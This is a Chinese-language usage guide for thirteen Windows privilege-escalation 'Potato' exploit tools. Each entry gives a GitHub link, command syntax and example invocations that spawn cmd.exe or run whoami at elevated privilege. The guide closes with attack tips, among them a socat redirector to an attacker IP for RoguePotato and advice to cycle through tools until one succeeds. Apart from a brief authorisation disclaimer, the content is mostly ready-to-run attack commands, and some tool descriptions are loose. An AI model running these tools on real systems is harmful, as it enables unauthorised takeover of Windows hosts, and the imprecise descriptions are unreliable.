Windows 提权工具(“Potato“ 系列)用法指南
以下是13种常见的 Windows 提权工具及其基本用法。请注意,这些工具仅应用于合法授权的渗透测试或安全研究环境中。
1. BadPotato
利用 Windows 服务中的权限提升漏洞。
https://github.com/BeichenDream/BadPotato
BadPotato.exe <cmd> [args]
-
示例:
BadPotato.exe cmd.exe /c whoami > C:\temp\whoami.txt
2. CandyPotato
通过 LSASS 进程提权,适用于域环境。
https://github.com/klezVirus/CandyPotato
CandyPotato.exe -c <command>
-
示例:
CandyPotato.exe -c "C:\Windows\System32\cmd.exe"
3. CoercedPotato
结合 SMB 中继和 NTLM 认证进行提权。
https://github.com/Prepouce/CoercedPotato
CoercedPotato.exe -cmd <command> -target <target>
-
示例:
CoercedPotato.exe -cmd "C:\Windows\System32\cmd.exe" -target dc01.example.com
4. EfsPotato
利用 EFS(加密文件系统)服务中的漏洞。
https://github.com/zcgonvh/EfsPotato
EfsPotato.exe -c <command>
-
示例:
EfsPotato.exe -c "C:\Windows\System32\cmd.exe"
5. GodPotato
支持多种提权方法,功能强大。
https://github.com/BeichenDream/GodPotato
GodPotato.exe -cmd <command>
-
示例:
GodPotato.exe -cmd "C:\Windows\System32\cmd.exe"
6. JuicyPotatoNG
JuicyPotato 的增强版本,支持更多 CLSID。
https://github.com/antonioCoco/JuicyPotatoNG
JuicyPotatoNG.exe -l <local_port> -p <program> -a <arguments> -t <trigger_type>
-
参数说明:
-
-l
:本地监听端口 -
-p
:要执行的程序 -
-a
:传递给程序的参数 -
-t
:触发类型(*
表示尝试所有)
-
-
示例:
JuicyPotatoNG.exe -l 1337 -p C:\Windows\System32\cmd.exe -t *
7. PetitPotato
轻量级提权工具,适用于资源受限环境。
https://github.com/wh0amitz/PetitPotato
PetitPotato.exe <command>
-
示例:
PetitPotato.exe "C:\Windows\System32\cmd.exe"
8. PrintNotifyPotato
利用 Print Spooler 服务漏洞。
https://github.com/BeichenDream/PrintNotifyPotato
PrintNotifyPotato.exe -i -c <command>
-
示例:
PrintNotifyPotato.exe -i -c "C:\Windows\System32\cmd.exe"
9. RasMan
利用 RAS (Remote Access Service) 服务漏洞。
https://github.com/crisprss/RasmanPotato
RasMan.exe -c <command>
-
示例:
RasMan.exe -c "C:\Windows\System32\cmd.exe"
10. RoguePotato
需要配合远程重定向器使用。
https://github.com/antonioCoco/RoguePotato
RoguePotato.exe -r <redirector_ip> -e <command> -l <local_port>
-
示例:
RoguePotato.exe -r 192.168.1.100 -e "C:\Windows\System32\cmd.exe" -l 9999
11. SweetPotato
通过 DCOM 和 LSASS 进程提权。
https://github.com/CCob/SweetPotato
SweetPotato.exe -c <command>
-
示例:
SweetPotato.exe -c "C:\Windows\System32\cmd.exe"
12.MultiPotato 提权工具用法
MultiPotato 是一个集成了多种提权技术的多功能工具,它会自动尝试不同的提权方法,直到找到一个可行的方法。这是在现代 Windows 系统上进行权限提升的有效工具。
https://github.com/S3cur3Th1sSh1t/MultiPotato
基本用法
MultiPotato.exe -c <command>
- 参数说明:
-c
:要执行的命令或程序-h
:显示帮助信息-v
:显示详细输出
13. JuicyPotato(原版本)
经典的提权工具。
JuicyPotato.exe -l <local_port> -p <program> -a <arguments> -t <trigger_type>
-
示例:
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\whoami.txt" -t *
使用建议
-
准备工作:
-
确保目标系统上的防火墙允许相关通信
-
确认目标系统的 Windows 版本和补丁状态
-
准备好要执行的命令或程序
-
-
网络提权工具:对于需要远程协助的工具(如 RoguePotato),在攻击机上启动重定向器:
socat tcp-listen:135,reuseaddr,fork tcp:<attacker_ip>:<local_port>
-
测试执行:先用简单命令测试提权是否成功:
tool_name.exe -c "cmd /c whoami > C:\temp\whoami.txt"
-
替代方案:如果一种工具失败,尝试其他工具或组合使用。
-
合法使用:所有操作必须在获得明确授权的环境中进行。